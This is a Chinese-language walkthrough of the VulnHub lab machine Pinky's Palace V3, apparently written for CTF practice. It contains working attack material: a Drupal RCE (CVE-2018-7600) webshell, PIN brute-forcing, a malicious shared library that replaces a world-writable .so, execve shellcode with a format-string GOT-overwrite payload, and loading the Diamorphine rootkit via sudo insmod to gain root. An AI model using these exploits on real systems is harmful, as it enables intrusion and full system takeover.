you can download it here: https://www.vulnhub.com/?page=8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-27 08:48 EDT
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:48
Completed NSE at 08:48, 0.00s elapsed
Initiating NSE at 08:48
Completed NSE at 08:48, 0.00s elapsed
Initiating ARP Ping Scan at 08:48
Scanning 192.168.227.190 [1 port]
Completed ARP Ping Scan at 08:48, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:48
Completed Parallel DNS resolution of 1 host. at 08:48, 0.00s elapsed
Initiating SYN Stealth Scan at 08:48
Scanning 192.168.227.190 [65535 ports]
Discovered open port 21/tcp on 192.168.227.190
Discovered open port 8000/tcp on 192.168.227.190
Discovered open port 5555/tcp on 192.168.227.190
Completed SYN Stealth Scan at 08:48, 3.10s elapsed (65535 total ports)
Initiating Service scan at 08:48
Scanning 3 services on 192.168.227.190
Completed Service scan at 08:48, 11.25s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.227.190
NSE: Script scanning 192.168.227.190.
Initiating NSE at 08:48
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 08:48, 2.11s elapsed
Initiating NSE at 08:48
Completed NSE at 08:48, 0.00s elapsed
Nmap scan report for 192.168.227.190
Host is up (0.00037s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 173 May 14 2018 WELCOME
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.227.165
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5555/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
| 2048 80:52:6e:bd:b0:c4:be:0a:f2:1d:3b:ac:b8:47:4f:ee (RSA)
| 256 eb:c8:76:a4:cf:37:6f:0d:5f:f5:48:af:5c:29:92:d9 (ECDSA)
|_ 256 48:2b:84:02:3e:87:7b:2a:f3:91:11:31:0f:98:11:c7 (ED25519)
8000/tcp open http nginx 1.10.3
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Supported Methods: GET HEAD POST
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: nginx/1.10.3
|_http-title: PinkDrup
MAC Address: 00:0C:29:4F:BA:BA (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 197.261 days (since Wed Dec 12 01:33:18 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.37 ms 192.168.227.190

NSE: Script Post-scanning.
Initiating NSE at 08:48
Completed NSE at 08:48, 0.00s elapsed
Initiating NSE at 08:48
Completed NSE at 08:48, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.78 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

先看ftp匿名登录问题

1

1
2
3
4
5
6
7
8
9
Welcome to Pinky's Palace V3

Good Luck ;}

I encourage you to be creative, try and stay away from metasploit and pre-made tools.
You will learn much more this way!

~Pinky

后来发现其实还有一个文件夹,但是在浏览器下看不到,用ftp客户端的被动模式下才能看到,这也解释了为什么后面我怎么都无法反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
root@kali:~# ftp -p 192.168.227.190
Connected to 192.168.227.190.
220 Pinky's FTP
Name (192.168.227.190:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (192,168,227,190,113,46).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 173 May 14 2018 WELCOME
226 Directory send OK.
ftp> ls -al
227 Entering Passive Mode (192,168,227,190,117,193).
150 Here comes the directory listing.
drwxr-xr-x 3 0 111 4096 May 14 2018 .
drwxr-xr-x 3 0 111 4096 May 14 2018 ..
drwxr-xr-x 3 0 0 4096 May 14 2018 ...
-rw-r--r-- 1 0 0 173 May 14 2018 WELCOME
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls -al
227 Entering Passive Mode (192,168,227,190,48,197).
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 May 14 2018 .
drwxr-xr-x 3 0 111 4096 May 14 2018 ..
drwxr-xr-x 2 0 0 4096 May 15 2018 .bak
226 Directory send OK.
ftp> cd .bak
250 Directory successfully changed.
ftp> ls -al
227 Entering Passive Mode (192,168,227,190,230,204).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 15 2018 .
drwxr-xr-x 3 0 0 4096 May 14 2018 ..
-rwxr--r-- 1 0 0 190 May 15 2018 firewall.sh
226 Directory send OK.
ftp> get firewall.sh
local: firewall.sh remote: firewall.sh
227 Entering Passive Mode (192,168,227,190,254,213).
150 Opening BINARY mode data connection for firewall.sh (190 bytes).
226 Transfer complete.
190 bytes received in 0.00 secs (927.7344 kB/s)
ftp> quit
221 Goodbye.
root@kali:~# cat firewall.sh
#!/bin/bash
#FIREWALL

iptables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
ip6tables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP

简单来说就是只有屏蔽了所有在iptables白名单以外的端口的出口流量drop掉新的出口流量,自然无法反弹shell了。

继续看8000端口的web

一个drupal网站,自然想到用drupwn

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
root@kali:/usr/share/drupwn# ./drupwn enum http://192.168.227.190:8000/

____
/ __ \_______ ______ _ ______
/ / / / ___/ / / / __ \ | /| / / __ \
/ /_/ / / / /_/ / /_/ / |/ |/ / / / /
/_____/_/ \__,_/ .___/|__/|__/_/ /_/
/_/

[-] Version not specified, trying to identify it

[+] Version detected: 7.57


============ Nodes ============


============ Users ============


============ Modules ============

^C
============ Themes ============

^C
============ Default files ============

[+] /robots.txt (200)
[+] /LICENSE.txt (200)
[+] /README.txt (200)
[+] /web.config (200)
[+] /install.php (200)
[+] /xmlrpc.php (200)
[+] /update.php (403)

root@kali:/usr/share/drupwn# ./drupwn exploit http://192.168.227.190:8000/

____
/ __ \_______ ______ _ ______
/ / / / ___/ / / / __ \ | /| / / __ \
/ /_/ / / / /_/ / /_/ / |/ |/ / / / /
/_____/_/ \__,_/ .___/|__/|__/_/ /_/
/_/

[-] Version not specified, trying to identify it

[+] Version detected: 7.57

Commands available: list | quit | check [CVE_NUMBER] | exploit [CVE_NUMBER]

Drupwn> list
+---------------+----------------------------------------+---------------------------------+
| CVE | Description | Versions affected |
+---------------+----------------------------------------+---------------------------------+
| CVE-2018-7602 | Authenticated Remote Command Execution | 7.x <= 7.58 |
| CVE-2019-6340 | Remote Command Execution | 8.5.x < 8.5.11 & 8.6.x < 8.6.10 |
| CVE-2018-7600 | Remote Command Execution | 7.x < 7.58 & 8.x < 8.1 |
+---------------+----------------------------------------+---------------------------------+

Drupwn> exploit CVE-2018-7600

[+] Exploit completed. Webshell accessible at: http://192.168.227.190:8000//NIGEH0.php?c=CMD

Drupwn> quit
root@kali:/usr/share/drupwn# curl http://192.168.227.190:8000//NIGEH0.php?c=whoami
www-data

试了很多办法包括wget,curl,nc,都没办法下载,或者反弹webshell,最后写入一句话木马,用菜刀客户端上传了个b374k webshell,这个webshell可以新建一个bindshell(正向shell),nc上去总算拿到了个能用的shell

3

在上面转了很久,都没什么发现,内核版本很新,没有可用的exploit,有一个suid的文件很可疑,但是owner是pinky,others没有执行权限,有bash权限的用户有以下几个:

1
2
3
4
5
6
/lib>cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
pinksec:x:1001:1001::/home/pinksec:/bin/bash
pinksecmanagement:x:1002:1002::/home/pinksecmanagement:/bin/bash

估计是要一步一步提权到root,但是现在只有个www-data

突然发现pinksec用户启动了apache2服务,我记得8000端口是nginx的,apache的配置文件也说明了一切:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/etc/apache2/sites-enabled>cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost 127.0.0.1:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin pinkyadmin@localhost
DocumentRoot /home/pinksec/html
<Directory "/home/pinksec/html">
Order allow,deny
Allow from all
Require all granted
</Directory>
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost 127.0.0.1:65334>
DocumentRoot /home/pinksec/database
ServerAdmin pinkyadmin@localhost
<Directory "/home/pinksec/database">
Order allow,deny
Allow from all
Require all granted
</Directory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

在看netstat -ano的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/etc/apache2/sites-enabled>netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:65334 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:13123 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 192.168.227.190:13123 192.168.227.165:57900 ESTABLISHED off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::5555 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::21 :::* LISTEN off (0.00/0/0)
udp 0 0 0.0.0.0:68 0.0.0.0:* off (0.00/0/0)
以下省略

果然在127.0.0.1的80端口和65334端口还监听着两个网站,但是因为监听在127.0.0.1而不是0.0.0.0,只能在本地访问,得端口转发。谷歌了下有什么方便的方法,发现socat这个工具

1
2
3
socat TCP4-LISTEN:12346,fork TCP4:127.0.0.1:80&

socat TCP4-LISTEN:12347,fork TCP4:127.0.0.1:65334&

这样就能把80端口和65334端口转发到12346和12347端口上了。

4

5

转了很久,扫描目录,爆破密码都不行,谷歌看了下才发现是要去fuzz文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~# curl http://192.168.227.190:12347/pwds.db
FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
pinkyspass
consoleadmin
administrator
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
pinksec133754

这应该是可能的密码,pin是从00000到99999,用户搜集了以下有可能的

1
2
3
4
pinky
pinksec
pinksecmanagement
pinkadmin // 这个是8000上drupal的管理员的用户名

算了下,4个用户名,100000个pin,18个密码,得爆破7200000次,没办法了,硬着头皮上了

爆破到中间的时候发现个奇怪的现象,提示密码错误的消息有两种,不一样的

6

当用户名是pinkadmin,密码是AaPinkSecaAdmin4467时,提示是<p>Incorrect Username Or Password or Pin. 其他情况时,是<p>Incorrect Username Or Password Or Pin.</p>

看来正确账号密码就是pinkadmin,密码是AaPinkSecaAdmin4467,那么只需要爆破pin了

很快就爆破出来是55849

7

直接就是一个执行命令的panel,把8000端口网站的webshell复制过来,再次bind一个shell,nc上去获得了一个pinksec权限的shell,后来嫌麻烦,就加了自己的公钥,直接用ssh登上去了。

8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~# ssh -i sshkey -p 5555 pinksec@192.168.227.190
Linux pinkys-palace 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jun 27 06:40:23 2019 from 192.168.227.165
pinksec@pinkys-palace:~$ whoami
pinksec
pinksec@pinkys-palace:~$ pwd
/home/pinksec
pinksec@pinkys-palace:~$ ls -al
total 52
drwx------ 6 pinksec pinksec 4096 Jun 27 06:38 .
drwxr-xr-x 5 root root 4096 May 12 2018 ..
lrwxrwxrwx 1 root root 9 May 12 2018 .bash_history -> /dev/null
-rw-r--r-- 1 pinksec pinksec 220 May 15 2017 .bash_logout
-rw-r--r-- 1 pinksec pinksec 3526 May 15 2017 .bashrc
drwxr-xr-x 2 pinksec pinksec 4096 May 15 2018 bin
drwxr-xr-x 2 pinksec pinksec 4096 May 12 2018 database
drwxr-xr-x 3 pinksec pinksec 4096 Jun 27 03:15 html
-rw-r--r-- 1 pinksec pinksec 675 May 15 2017 .profile
drwxr-xr-x 2 pinksec pinksec 4096 Jun 27 06:39 .ssh
pinksec@pinkys-palace:~$ cd bin
pinksecmanagement@pinkys-palace:/home/pinksec/bin$ ls -al pinksecd
-rwsr-xr-x 1 pinksecmanagement pinksecmanagement 7508 May 13 2018 pinksecd
pinksec@pinkys-palace:~/bin$ ./pinksecd
ID: 1002

工作目录下有一个bin目录,里面有一个可执行文件,被设置了suid位,owner是pinksecmanagement,目测要用这个来得到pinksecmanagement的shell,但是不知道这个文件是干什么的,本地没有gdb,下载回本地分析。

1
2
3
root@kali:~# ./pinksecd
./pinksecd: error while loading shared libraries: libpinksec.so: cannot open shared object file: No such file or directory

发现他还加载了一个libpinksec.so的库,本来准备把这个库也下载回本地分析的,手贱ls了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pinksec@pinkys-palace:/home/pinksec/bin$ cd /lib
pinksec@pinkys-palace:/lib$ ls -la
drwxr-xr-x 14 root root 4096 May 14 23:52 .
drwxr-xr-x 21 root root 4096 Apr 19 17:46 ..
drwxr-xr-x 2 root root 4096 Apr 19 17:46 console-setup
lrwxrwxrwx 1 root root 21 May 13 22:43 cpp -> /etc/alternatives/cpp
drwxr-xr-x 2 root root 4096 Apr 19 17:49 discover
drwxr-xr-x 2 root root 4096 Apr 19 17:50 hdparm
drwxr-xr-x 3 root root 12288 May 7 17:40 i386-linux-gnu
drwxr-xr-x 2 root root 4096 Apr 19 17:45 ifupdown
drwxr-xr-x 2 root root 4096 Apr 19 17:44 init
-rwxr-xr-x 1 root root 78392 May 8 2016 klibc-rBb4n9zs2Ri-TucnLVZwCHjM8M4.so
lrwxrwxrwx 1 root root 25 Jan 14 2018 ld-linux.so.2 -> i386-linux-gnu/ld-2.24.so
-rwxrwxrwx 1 root root 7136 May 14 23:52 libpinksec.so
drwxr-xr-x 3 root root 4096 Apr 19 17:44 lsb
drwxr-xr-x 2 root root 4096 Apr 19 17:49 modprobe.d
drwxr-xr-x 3 root root 4096 Apr 19 17:46 modules
drwxr-xr-x 8 root root 4096 Apr 19 17:49 systemd
drwxr-xr-x 15 root root 4096 Apr 19 17:43 terminfo
drwxr-xr-x 4 root root 4096 Apr 19 17:50 udev

得,不用分析了,libpinksec.so是全用户可写的,可以直接写一个so覆盖他。但是要吻合原pinksecd的接口,拖到idapro里看了下, 有三个函数。照葫芦画瓢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int psbanner() {
setreuid(1002, 1002);
return system("/bin/bash");
}

int psopt() {
setreuid(1002, 1002);
return system("/bin/bash");
}

int psoptin() {
setreuid(1002, 1002);
return system("/bin/bash");
}

注意到我在执行/bin/bash前还额外加了一行setreuid(1002, 1002) 因为/bin/bash会检查real uid,如果是执行/bin/sh的话就没必要了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pinksec@pinkys-palace:~$ cat test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int psbanner() {
setreuid(1002, 1002);
return system("/bin/bash");
}

int psopt() {
setreuid(1002, 1002);
return system("/bin/bash");
}

int psoptin() {
setreuid(1002, 1002);
return system("/bin/bash");
}
pinksec@pinkys-palace:~$ gcc -shared -o test.so -fPIC -nostartfiles test.c
pinksec@pinkys-palace:~$ cp test.so /lib/libpinksec.so
pinksec@pinkys-palace:~$ cd bin
pinksec@pinkys-palace:~/bin$ ./pinksecd
bash: /home/pinksec/.bashrc: Permission denied
pinksecmanagement@pinkys-palace:~/bin$ whoami
pinksecmanagement
pinksecmanagement@pinkys-palace:~/bin$

成功提权到pinksecmanagement. 下一步应该就是利用前面找到的owner为pinky设置了suid位的可执行文件来将权限提升到pinky

下载到本地用gdb调了一下,发现没有任何保护措施,有一个很明显的printf格式化字符漏洞,但是尴尬的是不能用溢出来控制函数返回地址到自己布局的shellcode块中,谷歌了一下,发现可以自己定义一个全局变量,里面放上shellcode,同时找到这个全局变量在程序运行时候在内存中的地址,然后想办法跳到这个全局变量所在的内存地址上。很幸运的是,在程序调用printf之后马上又调用了一下putchar,那么就可以用%n来实现任意写,将putchar的地址覆盖为全局变量的地址,打到执行shellcode的效果。

找到全局变量在程序运行时在内存中的地址的程序在这里:https://raw.githubusercontent.com/Partyschaum/haxe/master/getenvaddr.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
char *ptr;

if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}

自定义shellcode在这里: http://shell-storm.org/shellcode/files/shellcode-827.php

1
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pinksecmanagement@pinkys-palace:~$ gcc getenvaddr.c -o getenvaddr
pinksecmanagement@pinkys-palace:~$ export payload=$(echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
pinksecmanagement@pinkys-palace:~$ echo payload
payload
pinksecmanagement@pinkys-palace:~$ echo $payload
1󿿐h//shh/bin⏓

pinksecmanagement@pinkys-palace:~$ export payload=$(echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
pinksecmanagement@pinkys-palace:~$ echo $payload
1󿿐h//shh/bin⏓

pinksecmanagement@pinkys-palace:~$ ./getenvaddr payload /usr/local/bin/PSMCCLI
payload will be at 0xbfffff35

确定了运行程序时候shellcode的位置,下面就是覆盖哪个地址了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x080484e4 <+0>: lea ecx,[esp+0x4]
0x080484e8 <+4>: and esp,0xfffffff0
0x080484eb <+7>: push DWORD PTR [ecx-0x4]
0x080484ee <+10>: push ebp
0x080484ef <+11>: mov ebp,esp
0x080484f1 <+13>: push ebx
0x080484f2 <+14>: push ecx
0x080484f3 <+15>: call 0x8048542 <__x86.get_pc_thunk.ax>
0x080484f8 <+20>: add eax,0x1b08
0x080484fd <+25>: mov edx,ecx
0x080484ff <+27>: cmp DWORD PTR [edx],0x1
0x08048502 <+30>: jg 0x804851f <main+59>
0x08048504 <+32>: sub esp,0xc
0x08048507 <+35>: lea edx,[eax-0x1a24]
0x0804850d <+41>: push edx
0x0804850e <+42>: mov ebx,eax
0x08048510 <+44>: call 0x8048350 <puts@plt>
0x08048515 <+49>: add esp,0x10
0x08048518 <+52>: mov eax,0x0
0x0804851d <+57>: jmp 0x8048538 <main+84>
0x0804851f <+59>: mov eax,DWORD PTR [edx+0x4]
0x08048522 <+62>: add eax,0x4
0x08048525 <+65>: mov eax,DWORD PTR [eax]
0x08048527 <+67>: sub esp,0xc
0x0804852a <+70>: push eax
0x0804852b <+71>: call 0x804849b <argshow>
0x08048530 <+76>: add esp,0x10
0x08048533 <+79>: mov eax,0x0
0x08048538 <+84>: lea esp,[ebp-0x8]
0x0804853b <+87>: pop ecx
0x0804853c <+88>: pop ebx
0x0804853d <+89>: pop ebp
0x0804853e <+90>: lea esp,[ecx-0x4]
0x08048541 <+93>: ret
End of assembler dump.
gdb-peda$ disassemble argshow
Dump of assembler code for function argshow:
0x0804849b <+0>: push ebp
0x0804849c <+1>: mov ebp,esp
0x0804849e <+3>: push ebx
0x0804849f <+4>: sub esp,0x4
0x080484a2 <+7>: call 0x80483d0 <__x86.get_pc_thunk.bx>
0x080484a7 <+12>: add ebx,0x1b59
0x080484ad <+18>: sub esp,0xc
0x080484b0 <+21>: lea eax,[ebx-0x1a30]
0x080484b6 <+27>: push eax
0x080484b7 <+28>: call 0x8048340 <printf@plt>
0x080484bc <+33>: add esp,0x10
0x080484bf <+36>: sub esp,0xc
0x080484c2 <+39>: push DWORD PTR [ebp+0x8]
0x080484c5 <+42>: call 0x8048340 <printf@plt>
0x080484ca <+47>: add esp,0x10
0x080484cd <+50>: sub esp,0xc
0x080484d0 <+53>: push 0xa
0x080484d2 <+55>: call 0x8048380 <putchar@plt>
0x080484d7 <+60>: add esp,0x10
0x080484da <+63>: sub esp,0xc
0x080484dd <+66>: push 0x0
0x080484df <+68>: call 0x8048360 <exit@plt>
End of assembler dump.
gdb-peda$ disassemble putchar
Dump of assembler code for function putchar@plt:
0x08048380 <+0>: jmp DWORD PTR ds:0x804a01c
0x08048386 <+6>: push 0x20
0x0804838b <+11>: jmp 0x8048330
End of assembler dump.

可以看到0x08048380 <+0>: jmp DWORD PTR ds:0x804a01c 那么要覆盖的就是0x804a01c了

接下来找printf的偏移量。

9

10

竟然没对齐 135占了一半,136占了一半。可以高位写一次,低位写一次:

1
2
3
pinksecmanagement@pinkys-palace:~$ /usr/local/bin/PSMCCLI AAAABBBB%137\$x%138\$x
[+] Args: AAAABBBB4141414142424242

偏移量分别是137和138

整理一下:

1
2
3
putchar地址:0x804a01c
shellcode地址:0xbfffff35
那么要用0xff35去覆盖0xa01c,用0xbfff去覆盖0x0804

0xff35 转换成十进制是65333,除去前面控制写入地址花费的8个字节,还需要65325个字节

后面0xbfff转换十进制是49151,但是前面已经打印了65333个字节,那么需要利用有符号整型溢出的特性,用0x1bfff-65333个字节,需要打印49354个字节。

那么最后的payload就是

1
/usr/local/bin/PSMCCLI `python -c 'print "\x1c\xa0\x04\x08\x1e\xa0\x04\x08"+"%65325c%137\$hn%49354c%138\$hn"'`

成功拿到pinky的shell

11

老规矩,这个shell不好用,ssh添加公钥,从ssh登陆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@kali:~# ssh -i sshkey -p 5555 pinky@192.168.227.190
Linux pinkys-palace 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 04:32:07 2018 from 172.19.19.251
pinky@pinkys-palace:~$ sudo -l
Matching Defaults entries for pinky on pinkys-palace:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pinky may run the following commands on pinkys-palace:
(ALL) NOPASSWD: /sbin/insmod
(ALL) NOPASSWD: /sbin/rmmod
pinky@pinkys-palace:~$

看来最后一步是要利用/sbin/insmod或者/sbin/rmmod来获取root权限

谷歌一下发现insmod命令是将给定的模块加载到内核中。

在github上找到一款支持linux 4.x内核的lkm rootkit, diamorphine:https://github.com/m0nad/Diamorphine

加载模块到内核中之后

  1. 发送信号31隐藏/取消隐藏任何进程
  2. 发送信号63给任何pid使模块可见
  3. 发送信号64给任何pid是给定的用户成为root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pinky@pinkys-palace:~$ nano diamorphine.c
pinky@pinkys-palace:~$ nano diamorphine.h
pinky@pinkys-palace:~$ ls
diamorphine.c diamorphine.h
pinky@pinkys-palace:~$ nano Makefile
pinky@pinkys-palace:~$ ls
diamorphine.c diamorphine.h Makefile
pinky@pinkys-palace:~$ make
make -C /lib/modules/4.9.0-6-686/build M=/home/pinky modules
make[1]: Entering directory '/usr/src/linux-headers-4.9.0-6-686'
CC [M] /home/pinky/diamorphine.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/pinky/diamorphine.mod.o
LD [M] /home/pinky/diamorphine.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.9.0-6-686'
pinky@pinkys-palace:~$ sudo insmod diamorphine.ko
pinky@pinkys-palace:~$ kill -64 0
pinky@pinkys-palace:~$ whoami
root
pinky@pinkys-palace:~$ cd /root
pinky@pinkys-palace:/root$ ls
root.txt
pinky@pinkys-palace:/root$ cat root.txt
____ _ _ _
| _ \(_)_ __ | | ___ _( )___
| |_) | | '_ \| |/ / | | |// __|
| __/| | | | | <| |_| | \__ \
|_| |_|_| |_|_|\_\\__, | |___/
|___/
____ _ __ _______
| _ \ __ _| | __ _ ___ __\ \ / /___ /
| |_) / _` | |/ _` |/ __/ _ \ \ / / |_ \
| __/ (_| | | (_| | (_| __/\ V / ___) |
|_| \__,_|_|\__,_|\___\___| \_/ |____/

[+][+][+][+][+] R00T [+][+][+][+][+]
[+] Congrats on Pwning Pinky's Palace V3!
[+] Flag: 73b5f7ea50ccf91bb5d1ecb6aa94ef1c
[+] I hope you enjoyed and learned from this box!
[+] If you have feedback send me it on Twitter!
[+] Twitter: @Pink_P4nther
[+] Thanks to my dude 0katz for helping with testing, follow him on twitter: @0katz

这个靶机做的很不错,做起来很有连贯性,准备把前面两个也做了。